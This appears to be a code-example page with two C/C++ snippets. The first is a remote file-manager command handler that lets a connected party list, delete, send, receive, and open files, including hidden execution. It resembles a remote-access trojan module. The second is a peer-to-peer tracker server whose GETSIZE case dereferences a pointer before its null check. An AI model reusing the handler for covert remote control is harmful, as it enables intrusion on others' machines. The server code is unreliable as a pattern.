Пример #1
0
void CFileManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
	switch (lpBuffer[0])
	{
	case COMMAND_LIST_FILES:// 获取文件列表
		SendFilesList((char *)lpBuffer + 1);
		break;
	case COMMAND_DELETE_FILE:// 删除文件
		DeleteFile((char *)lpBuffer + 1);
		SendToken(TOKEN_DELETE_FINISH);
		break;
	case COMMAND_DELETE_DIRECTORY:// 删除文件
		////printf("删除目录 %s\n", (char *)(bPacket + 1));
		DeleteDirectory((char *)lpBuffer + 1);
		SendToken(TOKEN_DELETE_FINISH);
		break;
	case COMMAND_DOWN_FILES: // 上传文件
		UploadToRemote(lpBuffer + 1);
		break;
	case COMMAND_CONTINUE: // 上传文件
		SendFileData(lpBuffer + 1);
		break;
	case COMMAND_CREATE_FOLDER:
		CreateFolder(lpBuffer + 1);
		break;
	case COMMAND_RENAME_FILE:
		Rename(lpBuffer + 1);
		break;
	case COMMAND_STOP:
		StopTransfer();
		break;
	case COMMAND_SET_TRANSFER_MODE:
		SetTransferMode(lpBuffer + 1);
		break;
	case COMMAND_FILE_SIZE:
		CreateLocalRecvFile(lpBuffer + 1);
		break;
	case COMMAND_FILE_DATA:
		WriteLocalRecvFile(lpBuffer + 1, nSize -1);
		break;
	case COMMAND_OPEN_FILE_SHOW:
		OpenFile((char *)lpBuffer + 1, SW_SHOW);
		break;
	case COMMAND_OPEN_FILE_HIDE:
		OpenFile((char *)lpBuffer + 1, SW_HIDE);
		break;
	default:
		break;
	}
}
Пример #2
0
int main(int argc, char* argv[]) {
    
	if(argc != 2) {
        c_error("Usage : <PortNumber>");
		return 1;
	}
    
	if((port = atoi(argv[1])) <= 1024 ) {
		c_error("[Error] Invlid Port.");
		return 2;
	}
    
	int listener, incoming_socket;
	struct sigaction sa;
  	
    initialize(argv, &listener, &sa);
    
    fprintf(stderr, "[INIT] Server Initilized on port %d.\n", port);
  	//Select
  	fd_set client_fds, safeSet;
    FD_ZERO(&client_fds);
    FD_ZERO(&safeSet);
    
    int maxSocket = listener;
    
    ssize_t recievedBytes;
    
    FD_SET(listener, &safeSet);
    FD_SET(0, &safeSet);
    struct sockaddr_storage clientAddress;
    
    //struct seeder_info head, *clients;
    
    struct file_info m;
    memset(&m, 0, sizeof(m));
    struct file_info *files = &m;
    
    struct seeder_info n;
    memset(&n, 0, sizeof(n));
    busyChunks = &n;
    
    char buffer[BUFF_SIZE];
    fprintf(stderr, "[INIT] Server is up and runnig...\n\n");
    
    while(true) {
        memset(buffer, 0, BUFF_SIZE);
    	client_fds = safeSet;
    	if(select(maxSocket+1, &client_fds, NULL, NULL, NULL) == -1) {
    		//Error select
            c_error("Error select()");
    		return 3;
    	}
        int i = 0;
        for(i = 0; i <= maxSocket; i++) {
            if(FD_ISSET(i, &client_fds)) {
                
                if(i == listener) {
                    //c_log("Incoming connection...");
                    socklen_t storeSize = sizeof clientAddress ;
                    incoming_socket = accept(listener, (struct sockaddr*) &clientAddress, &storeSize);
                    if(incoming_socket < 0) {
                      //  c_error("Couldn't establish new connection. accept() error.\n\n");
                        continue;
                    }
                    
                    //arrangements for new client
                    //--add to listening set
                    FD_SET(incoming_socket, &safeSet);
                    //fprintf(stderr, "[LOG] New client established a connection. [%d client(s)]\n", ++numOfClients);
                    
                    maxSocket = (incoming_socket > maxSocket) ? incoming_socket : maxSocket;
                }
                
                else if(i == 0) {
                    //server commands
                    recievedBytes = read(i, buffer, BUFF_SIZE);
                    printf(">>WHO U TYPING AT?! MIND YOUR OWN BIZ!! K?!<<\n");
                    
                }
                
                else {
                    memset(buffer, '\0', BUFF_SIZE);
                    bool error = false;
                    while((recievedBytes = recv(i, buffer, BUFF_SIZE, MSG_DONTWAIT)) < 0 ) {
                        //Error or DC
                        if (errno == EAGAIN || errno == EINTR) {
                            continue;
                        }
                        
                        else {
                            error = true;
                            break;
                        }
                    }
                    
                    if (error) {
                        continue;
                    }
                    
                    if (recievedBytes ==  0) {
                        FD_CLR(i, &safeSet);
                        //printf("[LOG] A client has been disconnected. [%d client(s)]\n", --numOfClients);
                        //Handle disconnected clients
                        break;
                    }
                    
                    char req[REQ_LEN];
                    strncpy(req, buffer, REQ_LEN);
                    int request = atoi(req);                    
                    
                    //Get requset sender information
                    struct sockaddr_storage address;
                    socklen_t len = sizeof(address);
                    getpeername(i, (struct sockaddr*)&address, &len);
                    
                    //Process Request
                    switch (request) {
                            
                            //Share Request==============================
                        case SHARE: {
                            size_t size = atoi(buffer+REQ_LEN+NAME_SIZE);
                            struct file_info* newFile = MakeNewFile(buffer+REQ_LEN, size, &address, i);
                            StoreFileInfo(files, newFile);
                            printf("[LOG] File \"%s\" has been added.\n", newFile->name);
                            break;
                        }
                            
                            //File List Request==========================
                        case LS: {
                            SendFilesList(i, files);
                            break;
                            
                        }
                        case GETSIZE: {
                            struct file_info* file = FindFile(files, buffer+REQ_LEN);
                            uint32_t size = file->totalSize;
                            if (file == NULL) {
                                size = htonl(0);
                                
                            }
                            else {
                                size = htonl(size);
                            }
                            while (send(i, &size, sizeof(uint32_t), MSG_DONTWAIT) < 0) {
                                if(errno == EAGAIN || errno == EINTR || errno == ENOBUFS) {
                                    continue;
                                }
                                break;
                            }
                            break;
                        
                        }
                            //Get File Request==========================
                        case GET: {
                            struct file_info* file = FindFile(files, buffer+REQ_LEN);
                            
                            if (file == NULL) {
                                Response(i, NOT_FOUND, buffer);
                                break;
                            }
                            
                            FindSeeder(file, atoi(buffer+REQ_LEN+NAME_SIZE), buffer, i);
                            
                            break;
                        }
                        case SEED_INF: {
                            struct sockaddr_storage peer;
                            socklen_t adlen = sizeof(peer);
                            
                            char peerFD[INT_LEN];
                            memset(peerFD, '\0', INT_LEN);
                            strncpy(peerFD, buffer+REQ_LEN+NAME_SIZE+INT_LEN, INT_LEN);
                            
                            int fdes = atoi(peerFD);
                            getpeername(fdes, (struct sockaddr*)&peer, &adlen);
                            inet_ntop(AF_INET, &((struct sockaddr_in*)&peer)->sin_addr, buffer+REQ_LEN+NAME_SIZE+INT_LEN+INT_LEN, INET_ADDRSTRLEN);
                            Response(fdes, INIT_TRANS, buffer);
                            break;
                        }
                        case FREE: {
                            struct seeder_info* curr, *pre;
                            char fileName[NAME_SIZE];
                            char chunkNum[INT_LEN];
                            memcpy(fileName, buffer+REQ_LEN, NAME_SIZE);
                            memcpy(chunkNum, buffer+NAME_SIZE+REQ_LEN, INT_LEN);
                            
                            int chnk = atoi(chunkNum);
                            
                            pre = busyChunks;
                            for (curr = busyChunks->nextBusy; curr != NULL; curr = curr->nextBusy) {
                                if (strncasecmp(buffer+REQ_LEN, (curr->file)->name, NAME_SIZE) == 0) {
                                    if (curr->port == i) {
                                        if (curr->chnk == chnk) {
                                            curr->busy = false;
                                            pre->nextBusy = curr->nextBusy;
                                            break;
                                        }
                                    }
                                }
                                pre = curr;
                            }
                            break;
                        }
                    
                        case SEED: {
                            char fileName[NAME_SIZE];
                            char chunkNum[INT_LEN];
                            memcpy(fileName, buffer+REQ_LEN, NAME_SIZE);
                            memcpy(chunkNum, buffer+NAME_SIZE+REQ_LEN, INT_LEN);
                            int chnk = atoi(chunkNum);

                            struct file_info* file = FindFile(files, buffer+REQ_LEN);
                            if(file == NULL) {
                                c_error("Invalid seed request.");
                                break;
                            }
                            
                            struct seeder_info* newSeed = calloc(1, sizeof(struct seeder_info));
                            
                            newSeed->ip = ((struct sockaddr_in*)&address)->sin_addr;
                            newSeed->port = i;
                            newSeed->file = file;
                            newSeed->chnk = chnk;
                            newSeed->busy = false;
                            newSeed->nextBusy = NULL;
                            newSeed->next = file->seeders->next;
                            file->seeders->next = newSeed;
                            break;
                            
                        }
                    }
                }
    		}
    	}
    }
    return 0;
}